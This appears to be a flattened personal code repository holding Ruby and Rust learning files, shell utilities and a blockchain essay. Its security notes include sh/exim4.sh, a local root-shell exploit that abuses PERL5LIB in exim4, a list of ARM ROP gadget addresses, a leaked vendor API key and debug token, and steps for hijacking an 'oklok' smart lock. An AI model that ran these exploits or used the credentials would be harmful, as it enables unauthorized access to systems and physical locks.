80 | show_help if command.empty? 81 | 82 | if debug 83 | print 'rlwrap ' if ENV['__REPL_WRAPPED'] 84 | print "-f #{cfile} " if cfile 85 | print "-H #{hfile} " if hfile 86 | puts command.inspect 87 | end 88 | 89 | loop do 90 | print ENV['REPL_PROMPT'] || "#{ARGV[0]}>> " 91 | 92 | begin 93 | line = $stdin.gets.chomp 94 | rescue NoMethodError, Interrupt 95 | exit 96 | end 97 | 98 | if from_stdin 99 | run = "echo \"%s\" | #{command}" % [ line, nil ] 100 | else 101 | run = "#{command} %s" % [ line, nil ] 102 | end 103 | puts "$ #{run}" if debug 104 | system run 105 | warn "Use Ctrl-D (i.e. EOF) to exit" if line =~ /^(exit|quit)$/ 106 | end 107 | 108 | -------------------------------------------------------------------------------- /ruby/shell.rb: -------------------------------------------------------------------------------- 1 | require 'readline' 2 | 3 | while input = Readline.readline("> ", true) 4 | break if input == "exit" 5 | puts Readline::HISTORY.to_a if input == "hist" 6 | 7 | # Remove blank lines from history 8 | Readline::HISTORY.pop if input == "" 9 | 10 | system(input) 11 | end 12 | -------------------------------------------------------------------------------- /ruby/test.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby -w 2 | 3 | # learn BEGIN 4 | BEGIN { 5 | puts "initializing ruby" 6 | } 7 | 8 | puts "hello"; 9 | 10 | # heredocs 11 | 12 | print < 2 37 | puts "1 is greater than 2" 38 | elsif 1 == 2 39 | puts "1 is equal to two" 40 | else 41 | puts "1 is less than two" 42 | end 43 | 44 | $check = 1 45 | print "check is true" if $check # hmm, p cool 46 | 47 | unless 1 > 2 # can't grok very well :v 48 | puts "kek" 49 | else 50 | puts "topkek" 51 | end 52 | 53 | # cases 54 | lulz = 5 55 | case lulz 56 | when 0 .. 2 57 | puts "asdf" 58 | when 3 .. 6 59 | puts "lolz" 60 | else 61 | puts "okae" 62 | end 63 | 64 | # loops 65 | while 1 > 2 do 66 | puts "roflcopter" 67 | end 68 | 69 | until 1 < 2 do 70 | puts "poggers" 71 | end 72 | 73 | for i in 1..5 74 | puts "#{i}" 75 | end 76 | 77 | # something new here 78 | (0..5).each do |i| 79 | puts "#{i}" 80 | end 81 | 82 | for i in 1...5 83 | retry if 1 > 2 # hmm 84 | end 85 | -------------------------------------------------------------------------------- /rust/game/Cargo.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "game" 3 | version = "0.1.0" 4 | 5 | -------------------------------------------------------------------------------- /rust/game/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "game" 3 | version = "0.1.0" 4 | authors = ["Anirudh "] 5 | 6 | [dependencies] 7 | -------------------------------------------------------------------------------- /rust/game/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::io; 2 | 3 | fn main() { 4 | let x = 5; 5 | 6 | let y = { 7 | let x = 3; 8 | x + 1 9 | }; 10 | 11 | println!("The value of y is: {}", y); 12 | println!("{}", test()) 13 | } 14 | 15 | fn test() -> String { 16 | let t = String::from("test"); 17 | t 18 | } 19 | 20 | 21 | -------------------------------------------------------------------------------- /rust/game/target/debug/.cargo-lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/game/target/debug/.cargo-lock -------------------------------------------------------------------------------- /rust/game/target/debug/.fingerprint/game-3859b3424b492d98/bin-game-3859b3424b492d98: -------------------------------------------------------------------------------- 1 | 763691034897a379 -------------------------------------------------------------------------------- /rust/game/target/debug/.fingerprint/game-3859b3424b492d98/bin-game-3859b3424b492d98.json: -------------------------------------------------------------------------------- 1 | {"rustc":311716072767395657,"features":"[]","target":12792322682075150837,"profile":731176819336294830,"deps":[],"local":[{"MtimeBased":[[1523291316,336160615],"/home/icyphox/code/asdf/rust/game/target/debug/.fingerprint/game-3859b3424b492d98/dep-bin-game-3859b3424b492d98"]}],"rustflags":[]} -------------------------------------------------------------------------------- /rust/game/target/debug/.fingerprint/game-3859b3424b492d98/dep-bin-game-3859b3424b492d98: -------------------------------------------------------------------------------- 1 | /home/icyphox/code/asdf/rust/game/home/icyphox/code/asdf/rust/game/target/debug/deps/game-3859b3424b492d98: src/main.rs 2 | 3 | /home/icyphox/code/asdf/rust/game/target/debug/deps/game-3859b3424b492d98.d: src/main.rs 4 | 5 | src/main.rs: 6 | -------------------------------------------------------------------------------- /rust/game/target/debug/deps/game-3859b3424b492d98: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/game/target/debug/deps/game-3859b3424b492d98 -------------------------------------------------------------------------------- /rust/game/target/debug/game: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/game/target/debug/game -------------------------------------------------------------------------------- /rust/game/target/debug/game.d: -------------------------------------------------------------------------------- 1 | /home/icyphox/code/asdf/rust/game/target/debug/game: /home/icyphox/code/asdf/rust/game/src/main.rs 2 | -------------------------------------------------------------------------------- /rust/new/Cargo.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "new" 3 | version = "0.1.0" 4 | 5 | -------------------------------------------------------------------------------- /rust/new/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "new" 3 | version = "0.1.0" 4 | authors = ["Anirudh "] 5 | 6 | [dependencies] 7 | -------------------------------------------------------------------------------- /rust/new/src/main.rs: -------------------------------------------------------------------------------- 1 | fn main() { 2 | let num = 4; 3 | let booly = true; 4 | if !booly { 5 | println!("this works!"); 6 | } else { 7 | println!("this doesn't"); 8 | println!("{}", num); 9 | } 10 | 11 | let condition = true; 12 | let num = if condition { 13 | 5 14 | } else { 15 | 19 16 | }; 17 | println!("{}", num); 18 | } 19 | -------------------------------------------------------------------------------- /rust/new/target/debug/.cargo-lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/new/target/debug/.cargo-lock -------------------------------------------------------------------------------- /rust/new/target/debug/.fingerprint/new-9db1ec45ec27405f/bin-new-9db1ec45ec27405f: -------------------------------------------------------------------------------- 1 | 02d15034272b8781 -------------------------------------------------------------------------------- /rust/new/target/debug/.fingerprint/new-9db1ec45ec27405f/bin-new-9db1ec45ec27405f.json: -------------------------------------------------------------------------------- 1 | {"rustc":311716072767395657,"features":"[]","target":318235574140470575,"profile":731176819336294830,"deps":[],"local":[{"MtimeBased":[[1523290684,396130482],"/home/icyphox/code/asdf/rust/new/target/debug/.fingerprint/new-9db1ec45ec27405f/dep-bin-new-9db1ec45ec27405f"]}],"rustflags":[]} -------------------------------------------------------------------------------- /rust/new/target/debug/.fingerprint/new-9db1ec45ec27405f/dep-bin-new-9db1ec45ec27405f: -------------------------------------------------------------------------------- 1 | /home/icyphox/code/asdf/rust/new/src/home/icyphox/code/asdf/rust/new/target/debug/deps/new-9db1ec45ec27405f: main.rs 2 | 3 | /home/icyphox/code/asdf/rust/new/target/debug/deps/new-9db1ec45ec27405f.d: main.rs 4 | 5 | main.rs: 6 | -------------------------------------------------------------------------------- /rust/new/target/debug/deps/new-9db1ec45ec27405f: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/new/target/debug/deps/new-9db1ec45ec27405f -------------------------------------------------------------------------------- /rust/new/target/debug/new: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/rust/new/target/debug/new -------------------------------------------------------------------------------- /rust/new/target/debug/new.d: -------------------------------------------------------------------------------- 1 | /home/icyphox/code/asdf/rust/new/target/debug/new: /home/icyphox/code/asdf/rust/new/src/main.rs 2 | -------------------------------------------------------------------------------- /rust/rocket/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rocket" 3 | version = "0.1.0" 4 | authors = ["Anirudh "] 5 | 6 | [dependencies] 7 | rocket = "0.3.8" 8 | rocket_codegen = "0.3.8" 9 | -------------------------------------------------------------------------------- /rust/rocket/src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(plugin)] 2 | #![plugin(rocket_codegen)] 3 | 4 | extern crate rocket; 5 | 6 | #[get("/")] 7 | fn index() -> &'static str { 8 | "Henlo" 9 | } 10 | 11 | fn main() { 12 | rocket::ignite().mount("/", routes![index]).launch(); 13 | } 14 | -------------------------------------------------------------------------------- /sh/colors2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | useage() { 4 | printf "\n\e[1;4mAscii Escape Code Helper Utility\e[m\n\n" 5 | printf " \e[1mUseage:\e[m colors.sh [-|-b|-f|-bq|-fq|-?|?] [start] [end] [step]\n\n" 6 | printf "The values for the first parameter may be one of the following:\n\n" 7 | printf " \e[1m-\e[m Will result in the default output.\n" 8 | printf " \e[1m-b\e[m This will display the 8 color version of this chart.\n" 9 | printf " \e[1m-f\e[m This will display the 256 color version of this chart using foreground colors.\n" 10 | printf " \e[1m-q\e[m This will display the 256 color version of this chart without the extra text.\n" 11 | printf " \e[1m-bq\e[m This will display the 8 color version of this chart without the extra text.\n" 12 | printf " \e[1m-fq\e[m This will display the 256 color version of this chart using foreground colors without the extra text.\n" 13 | printf " \e[1m-?|?\e[m Displays this help screen.\n" 14 | printf "\nThe remaining parameters are only used if the first parameter is one of: \e[1m-,-f,q,fq\e[m\n\n" 15 | printf " \e[1mstart\e[m The color index to begin display at.\n" 16 | printf " \e[1mend\e[m The color index to stop display at.\n" 17 | printf " \e[1mstart\e[m The number of indexes to increment color by each iteration.\n\n\n" 18 | 19 | } 20 | verbose() { 21 | if [[ "$1" != "-q" && "$1" != "-fq" && "$1" != "-bq" ]]; then 22 | printf "\nTo control the display style use \e[1m%s\e[m where \e[1m%s\e[m is:\n" '\e[{$value}[:{$value}]m' '{$value}' 23 | printf "\n 0 Normal \e[1m1 Bold\e[m \e[2m2 Dim\e[m \e[3m3 ???\e[m \e[4m4 Underlined\e[m \e[5m5 Blink\e[m \e[6m6 ???\e[m \e[7m7 Inverted\e[m \e[8m8 Hidden\e[m\n\n" 24 | printf "If \e[1m%s\e[m is not provided it will reset the display.\n\n" '{$value}' 25 | fi 26 | } 27 | eight_color() { 28 | local fgc bgc vals seq0 29 | if [ "$1" != "-bq" ]; then 30 | printf "\n\e[1;4m8 Color Escape Value Pallette\e[m\n\n" 31 | printf "Color escapes are \e[1m%s\e[m\n" '\e[${value};...;${value}m' 32 | printf " Values \e[1m30..37\e[m are \e[1mforeground\e[m colors\n" 33 | printf " Values \e[1m40..47\e[m are \e[1mbackground\e[m colors\n\n" 34 | fi 35 | for fgc in {30..37}; do 36 | for bgc in {40..47}; do 37 | fgc=${fgc#37} 38 | bgc=${bgc#40} 39 | vals="${fgc:+$fgc;}${bgc}" 40 | vals=${vals%%;} 41 | seq0="${vals:+\e[${vals}m}" 42 | printf " %-9s" "${seq0:-(default)}" 43 | printf " ${seq0}TEXT\e[m" 44 | printf " \e[${vals:+${vals+$vals;}}1mBOLD\e[m" 45 | done 46 | printf "\e[0m\n" 47 | done 48 | } 49 | 50 | 51 | if [[ "$1" == "-b" || "$1" == "-bq" ]]; then 52 | eight_color "$1" 53 | verbose "$1" 54 | elif [[ "$1" == "" || "$1" == "-" || "$1" == "-f" || "$1" == "-q" || "$1" == "-fq" ]]; then 55 | start=${2:-0} 56 | end=${3:-255} 57 | step=${4:-1} 58 | color=$start 59 | style="48;5;" 60 | if [[ "$1" == "-f" || "$1" == "-fq" ]]; then 61 | style="38;5;" 62 | fi 63 | perLine=$(( ( $(tput cols) - 2 ) / 9 )); 64 | if [[ "$1" != "-q" && "$1" != "-fq" ]]; then 65 | printf "\n\e[1;4m256 Color Escape Value Pallette\e[0m\n\n" 66 | printf " \e[1m%s\e[m for \e[1mbackground\e[m colors\n \e[1m%s\e[m for \e[1mforeground\e[m colors\n\n" '\e[48;5;${value}m' '\e[38;5;${value}m' 67 | fi 68 | while [ $color -le $end ]; do 69 | printf "\e[m \e[${style}${color}m %3d \e[m " $color 70 | ((color+=step)) 71 | if [ $(( ( ( $color - $start ) / $step ) % $perLine )) -eq 0 ]; then 72 | printf "\n" 73 | fi 74 | done 75 | printf "\e[m\n" 76 | verbose "$1" 77 | else 78 | useage 79 | fi 80 | -------------------------------------------------------------------------------- /sh/curling.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | FILE=$1 4 | 5 | while true; do 6 | lsof "${FILE}" 7 | done > /tmp/fileusers.log 8 | -------------------------------------------------------------------------------- /sh/exim4.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cat > /tmp/root.pm << EOF 4 | package root; 5 | use strict; 6 | use warnings; 7 | 8 | system("/bin/sh"); 9 | EOF 10 | PERL5LIB=/tmp PERL5OPT=-Mroot /usr/sbin/exim4 -ps 11 | -------------------------------------------------------------------------------- /sh/oxo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 0x0 - client for 0x0.st 3 | 4 | me=${0##*/} 5 | host=https://0x0.st 6 | 7 | if [[ ! -t 1 ]];then 8 | quiet=true 9 | fi 10 | 11 | help() { 12 | cat >&2 <] [-s ] [-u ] [file] 14 | Client for interacting with 0x0.st. 15 | If no file is given, upload stdin. 16 | -f - upload 17 | -s - shorten 18 | -u - upload content of 19 | EOF 20 | } 21 | 22 | clip() { 23 | if command -v xsel >/dev/null 2>&1;then 24 | printf '%s' "$@" | xsel -b 25 | fi 26 | } 27 | 28 | file_upload() { 29 | local curl_opts="-s" file="$1" type 30 | [[ "${quiet}" ]] || curl_opts="-#" 31 | [[ "${quiet}" ]] || echo "uploading \"${file}\"..." >&2 32 | [[ "$#" -gt 1 ]] && echo -n "${file} ... " 33 | url=$(curl ${curl_opts} -F "file=@${file}" "${host}") 34 | echo "${url}" 35 | clip "${url}" 36 | } 37 | 38 | shorten_url() { 39 | local curl_opts="-s" url="$1" shortened 40 | [[ "${quiet}" ]] || curl_opts="-#" 41 | [[ "${quiet}" ]] || echo "shortening \"${url}\"..." >&2 42 | [[ "$#" -gt 1 ]] && echo -n "${url} ... " 43 | shortened=$(curl ${curl_opts} -F "shorten=${url}" "${host}") 44 | echo "${shortened}" 45 | clip "${shortened}" 46 | } 47 | 48 | upload_url() { 49 | local curl_opts="-s" url="$1" uploaded 50 | [[ "${quiet}" ]] || curl_opts="-#" 51 | [[ "${quiet}" ]] || echo "uploading \"${url}\"..." >&2 52 | [[ "$#" -gt 1 ]] && echo -n "${url} ... " 53 | uploaded=$(curl ${curl_opts} -F "url=${url}" "${host}") 54 | echo "${uploaded}" 55 | clip "${uploaded}" 56 | } 57 | 58 | # 1KiB = 1024 bytes 59 | # 1MiB = 1024 KiB 60 | # max size - 256MiB 61 | 62 | max_size=$(( (1024*1024) * 256 )) 63 | 64 | if [[ -f "$1" || "$#" -lt 1 ]];then 65 | mode="default" 66 | else 67 | mode="$1" 68 | shift 69 | fi 70 | 71 | case "$mode" in 72 | default) 73 | if [[ "$#" -gt 0 ]];then 74 | file_upload "${@}" 75 | else 76 | quiet=true file_upload "-" 77 | fi 78 | ;; 79 | -f) 80 | file_upload "${@}" 81 | ;; 82 | -u) 83 | upload_url "${@}" 84 | ;; 85 | -s) 86 | shorten_url "${@}" 87 | ;; 88 | -h|--help) 89 | help 90 | ;; 91 | esac 92 | 93 | -------------------------------------------------------------------------------- /sh/postgame.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # remove write-lock 4 | chattr -i /etc/resolv.conf 5 | 6 | # start dhcpcd 7 | systemctl start dhcpcd 8 | 9 | # restart NetworkManager for re-resolving IP 10 | systemctl restart NetworkManager 11 | 12 | 13 | -------------------------------------------------------------------------------- /sh/pregame.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # change nameservers 3 | echo nameserver 8.8.8.8 > /etc/resolv.conf 4 | 5 | # write-lock the file (even root can't edit it) 6 | chattr +i /etc/resolv.conf 7 | 8 | # kill dhcpcd (messes with IP) 9 | systemctl stop dhcpcd 10 | 11 | # start VPN 12 | openvpn --config /home/icyphox/icy.ovpn 13 | -------------------------------------------------------------------------------- /sh/pw-completion.bash: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | _pw_completions() { 4 | [[ -z "$PW_DIR" ]] && PW_DIR="$HOME/.pw" 5 | prefix="$PW_DIR/" 6 | suffix=".gpg" 7 | local IFS=$'\n' 8 | items=($(compgen -f "$PW_DIR/")) 9 | for item in "${items[@]}"; do 10 | item="${item%$suffix}" 11 | COMPREPLY+=("${item#$prefix}") 12 | done 13 | } 14 | 15 | complete -F _pw_completions "pw" 16 | -------------------------------------------------------------------------------- /sh/repl.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | show_help() { 4 | echo "Usage: repl [options] command" 5 | echo "" 6 | echo "Options:" 7 | echo " --help Display this message" 8 | echo " --stdin Pipe input to command's STDIN" 9 | echo "" 10 | echo "Examples:" 11 | echo " $ repl git" 12 | echo " $ repl gcc" 13 | } 14 | 15 | if [ $# -lt 1 ] 16 | then 17 | show_help 18 | exit 19 | else 20 | CMD=$1 21 | fi 22 | 23 | STORAGE="$HOME/.repl" 24 | if [ ! -d "$STORAGE" ] 25 | then 26 | mkdir "$STORAGE" 27 | fi 28 | 29 | if [ ! -e "$STORAGE/$1.hist" ] 30 | then 31 | touch "$STORAGE/$1.hist" 32 | fi 33 | 34 | if [ -x "$(command -v rlwrap)" ] && [ -z "$USING_RLWRAP" ] 35 | then 36 | export USING_RLWRAP=1 37 | rlargs="-H $STORAGE/$1.hist" 38 | $(rlwrap $rlargs $0 $CMD) 39 | exit 40 | fi 41 | 42 | echo "Ctrl+C to quit" 43 | while true 44 | do 45 | read -p "$CMD% " INPUT 46 | OUTPUT=$(eval "$CMD $INPUT") 47 | echo "$OUTPUT" 48 | done 49 | -------------------------------------------------------------------------------- /sh/socksify.sh: -------------------------------------------------------------------------------- 1 | export SOCKS_SERVER="127.0.0.1:1" 2 | exec socksify w3m \ 3 | -T text/html \ 4 | -cols $(tput cols) \ 5 | -dump \ 6 | -o display_image=false \ 7 | -o display_link_number=true \ 8 | "https://google.com" 9 | -------------------------------------------------------------------------------- /sh/spaceinvaders.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file echoes a bunch of color codes to the 4 | # terminal to demonstrate what's available. Each 5 | # line is the color code of one foreground color, 6 | # out of 17 (default + 16 escapes), followed by a 7 | # test use of that color on all nine background 8 | # colors (default + 8 escapes). 9 | # 10 | 11 | 12 | f=3 b=4 13 | for j in f b; do 14 | for i in {0..7}; do 15 | printf -v $j$i %b "\e[${!j}${i}m" 16 | done 17 | done 18 | bld=$'\e[1m' 19 | rst=$'\e[0m' 20 | 21 | cat << EOF 22 | 23 | $f1 ▀▄ ▄▀ $f2 ▄▄▄████▄▄▄ $f3 ▄██▄ $f4 ▀▄ ▄▀ $f5 ▄▄▄████▄▄▄ $f6 ▄██▄ $rst 24 | $f1 ▄█▀███▀█▄ $f2███▀▀██▀▀███ $f3▄█▀██▀█▄ $f4 ▄█▀███▀█▄ $f5███▀▀██▀▀███ $f6▄█▀██▀█▄$rst 25 | $f1█▀███████▀█ $f2▀▀███▀▀███▀▀ $f3▀█▀██▀█▀ $f4█▀███████▀█ $f5▀▀███▀▀███▀▀ $f6▀█▀██▀█▀$rst 26 | $f1▀ ▀▄▄ ▄▄▀ ▀ $f2 ▀█▄ ▀▀ ▄█▀ $f3▀▄ ▄▀ $f4▀ ▀▄▄ ▄▄▀ ▀ $f5 ▀█▄ ▀▀ ▄█▀ $f6▀▄ ▄▀$rst 27 | 28 | $bld$f1▄ ▀▄ ▄▀ ▄ $f2 ▄▄▄████▄▄▄ $f3 ▄██▄ $f4▄ ▀▄ ▄▀ ▄ $f5 ▄▄▄████▄▄▄ $f6 ▄██▄ $rst 29 | $bld$f1█▄█▀███▀█▄█ $f2███▀▀██▀▀███ $f3▄█▀██▀█▄ $f4█▄█▀███▀█▄█ $f5███▀▀██▀▀███ $f6▄█▀██▀█▄$rst 30 | $bld$f1▀█████████▀ $f2▀▀▀██▀▀██▀▀▀ $f3▀▀█▀▀█▀▀ $f4▀█████████▀ $f5▀▀▀██▀▀██▀▀▀ $f6▀▀█▀▀█▀▀$rst 31 | $bld$f1 ▄▀ ▀▄ $f2▄▄▀▀ ▀▀ ▀▀▄▄ $f3▄▀▄▀▀▄▀▄ $f4 ▄▀ ▀▄ $f5▄▄▀▀ ▀▀ ▀▀▄▄ $f6▄▀▄▀▀▄▀▄$rst 32 | 33 | 34 | $f7▌$rst 35 | 36 | $f7▌$rst 37 | 38 | $f7 ▄█▄ $rst 39 | $f7▄█████████▄$rst 40 | $f7▀▀▀▀▀▀▀▀▀▀▀$rst 41 | EOF 42 | -------------------------------------------------------------------------------- /sh/substr.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | msg=$(cat << 'END' 4 | Test post 5 | 6 | Signed-off-by: Anirudh Oppiliappan 7 | 8 | # Please enter the commit message for your changes. Lines starting 9 | # with '#' will be ignored, and an empty message aborts the commit. 10 | # 11 | # On branch master 12 | # Your branch is up to date with 'origin/master'. 13 | # 14 | # Changes to be committed: 15 | # new file: dirty 16 | # 17 | # ------------------------ >8 ------------------------ 18 | # Do not modify or remove the line above. 19 | # Everything below it will be ignored. 20 | diff --git a/dirty b/dirty 21 | new file mode 100644 22 | index 0000000..e69de29 23 | [master 53171a7] Test post 24 | 1 file changed, 0 insertions(+), 0 deletions(-) 25 | create mode 100644 dirty 26 | END 27 | ) 28 | 29 | if [[ $msg == *post* ]]; then 30 | printf "contains post" 31 | fi 32 | -------------------------------------------------------------------------------- /sh/text.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {{ title }} 25 | 26 |
27 |
28 | {{ header }} 29 |
30 | 31 |
32 |
33 | {{ date }} 34 |

{{ title }}

35 |

{{ subtitle }}

36 | {{ body }} 37 |
38 |

Questions or comments? 39 | Send an email to 40 | ~icyphox/x@lists.sr.ht — my public inbox.

41 |
42 | {{ footer }} 43 |
44 | 45 |
46 | 47 | -------------------------------------------------------------------------------- /sh/text.html.esh: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | {{ title }} 25 | 26 |
27 |
28 | {{ header }} 29 |
30 | 31 |
32 |
33 | {{ date }} 34 |

{{ title }}

35 |

{{ subtitle }}

36 | {{ body }} 37 |
38 |

Questions or comments? 39 | Send an email to 40 | ~icyphox/x@lists.sr.ht — my public inbox.

41 |
42 | {{ footer }} 43 |
44 | 45 |
46 | 47 | -------------------------------------------------------------------------------- /transcripts/content-writing.txt: -------------------------------------------------------------------------------- 1 | Introduction to Bitcoin and Blockchain 2 | Before delving into cryptocurrency and its various implementations, we need to to comprehend its underlying technology — the blockchain. 3 | 4 | Simply put, a blockchain is a growing list of records, called blocks which are each cryptographically signed. Generally, each block consists of the cryptographic hash of the previous block, a timestamp and some data. By design, blockchain is decentralized, i.e., the blocks are not stored at any single point but rather, distributed across a peer-to-peer network of nodes. Hence, blockchain is considered to be “secure by design” and has high fault tolerance due to the lack of any single point of failure. 5 | 6 | A cryptocurrency is an implementation of blockchain technology. It isa digital asset that has no central authority and its state is maintained through distributed consensus. A cryptocurrency system allows transactions to be performed, in which ownership of the cryptographic units is changed. This ownership can be proved exclusively cryptographically. Transactions using cryptocurrency require a public key and a private key. For each transaction, a block on the blockchain is signed using the public key for global identification, and the private key acts like a password. 7 | 8 | The first ever cryptocurrency to come into existence is the Bitcoin (BTC), in 2009. It was invented by an anonymous individual(s) who goes by the name of Satoshi Nakomoto. Bitcoins can be generated by mining. This involves producing a “Proof of Work” (PoW), which usually means processing time by a computer. PoW rose as a solution to the “double-spending” problem, and the longer blockchain is deemed as the correct one.Bitcoin transactions have no intermediate actor, unlike real world money transactions mediated by banks. A transaction in bitcoin has no fees and no identity attached to it, and can be verified by miners. Bitcoin software is fully open source. Ethereum is not just a cryptocurrency, but rather an entire ecosystem for building decentralized apps. The cryptocurrency that exists in the Ethereum platform is Ether (ETH). The key difference between Bitcoin and Ethereum is the existence of “Smart Contracts”. A smart contract is a protocol which facilitates the enforement or execution of a contract. It is written in a programming language called Solidity, and executed on the blockchain on the Ethereum Virtual Machine (EVM). A contract can be anything, for example: transfer of property to one’s name, in exchange of money. The smart contract can be programmed to transfer the property to the new name once the money has be recieved by the seller. This transaction is permanently written to the blockchain. 9 | 10 | Cryptocurrency exchanges are business that allow customers to trade digital currency for real money, or other digital currencies. These exchanges are decentralized and do not store the users’ funds. A common method used by people to earn money on these exchanges is to buy at an exchange where the currency is cheap, and sell at another for a higher price. Although, this method as become obsolete now with the maturity of the economy. Wallets allow managing multiple accounts across multiple currencies, from one single place. They are a safe way to store public/private keys and keep track of transactions. Wallets make interacting with cryptocurency seamless and approachable, even for someone lacking technical knowledge. 11 | 12 | The Dark Web is a portion of the Internet that is inaccessible via a standard search engine like Google. It requries the use of special software like the Tor Browser. The Dark Web is a haven for illegal activity, because of the layers of encryption that hides them. These illegal purchases are always done using cryptocurrency like Bitcoin due to its inherent anonymity. This makes tracking purchases of illegal goods so much harder for law enforcement agencies. 13 | 14 | ICOs or an Initial Coin Offering is used by companies as an alternative to being publicly traded. A company looking to generate funds creates its own digital currency with a value decided by them. These new coins are listed on an exchange. The holder of these coins get some perks and incentives. 15 | 16 | Bitcoin Cash (Bcash) is a “hard fork” of the original Bitcoin made by developers wanting to increase Bitcoin’s block size limit. 17 | 18 | Bitcoin mining is done using high-end, highly performant GPUs designed purely for the purpose of mining. These equipment are usually very expensive, and the electricity consumed by them alone is not enough to offset the amount of bitcoin mined. Hence, mining for bitcoin today is not viable and the best option is to purchase it from an exchange. 19 | 20 | 21 | -------------------------------------------------------------------------------- /txt/arm_exp.txt: -------------------------------------------------------------------------------- 1 | - r0, r4 + 6   0x76e92084 2 | - return of vuln 0x00010494 3 | - pop in seed48 0x76e92088 4 | - binsh 0x76f80944 5 | - binsh - 6 0x76f8093e 6 | - system 0x76e9a154 7 | -------------------------------------------------------------------------------- /txt/discrete-math: -------------------------------------------------------------------------------- 1 | - warshall 2 | - recurrence relation 3 | - equivalence relation 4 | -------------------------------------------------------------------------------- /txt/fastrack.txt: -------------------------------------------------------------------------------- 1 | Fastrack Reflex 2 | --------------- 3 | 4 | - hardcoded api keys in bj.class 5 | - api url at: prod.clove.khaapi.com 6 | - also found other subdomains: dev, pay, stage, qa 7 | - request needs the following headers: 8 | * x-clove-api-key: 6143c4170da44dc79e930d455e6702cc 9 | * x-clove-api-debug-token: hardcoded as "akshata" 10 | * x-clove-api-version: 1 11 | - unable to determine what canonical path the request needs to be made to 12 | 13 | -------------------------------------------------------------------------------- /txt/oklok.txt: -------------------------------------------------------------------------------- 1 | oklok 2 | ----- 3 | 4 | - com.oklok.y/app/app.class contains the api url and (possibly) the key 5 | - com.oklok.y/app/activity contains some interesting bt/password activities 6 | * some hardcoded checks? 7 | - com.oklok.y/utils/b.class appears to have some kind of cryptography algo 8 | - com.oklok.y/utils/k.class has some hardcoded pins? 9 | 10 | - exploitation procedure: 11 | * having the mac address of a lock, the following info can be obtained: 12 | 1. lock id 13 | 2. barcode 14 | 3. user name 15 | * with the barcode, the userid can be obtained 16 | * now, using the userid and lockid, the lock can be unbound from the owner 17 | * then, we can use our own userid, name and the lock's mac address to bind ourselves to the lock 18 | * we now have full control of the lock 19 | 20 | - this info can be extracted from just knowing userid: 21 | * mac address 22 | * userid 23 | * lockid 24 | * barcode 25 | * username 26 | * email 27 | * lockkey 28 | * isAdmin is 0 (idk what that is) 29 | 30 | -------------------------------------------------------------------------------- /txt/pb.txt: -------------------------------------------------------------------------------- 1 | 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 2 | 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 3 | 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 4 | 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 5 | 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 6 | 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 7 | 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 8 | 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 9 | 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 10 | 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 11 | 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 12 | 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 13 | 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 14 | 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 15 | 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 16 | 000000f0: 819b bb48 ...H 17 | 18 | -------------------------------------------------------------------------------- /txt/s443-recruitment.eml: -------------------------------------------------------------------------------- 1 | Hi, 2 | 3 | Thank 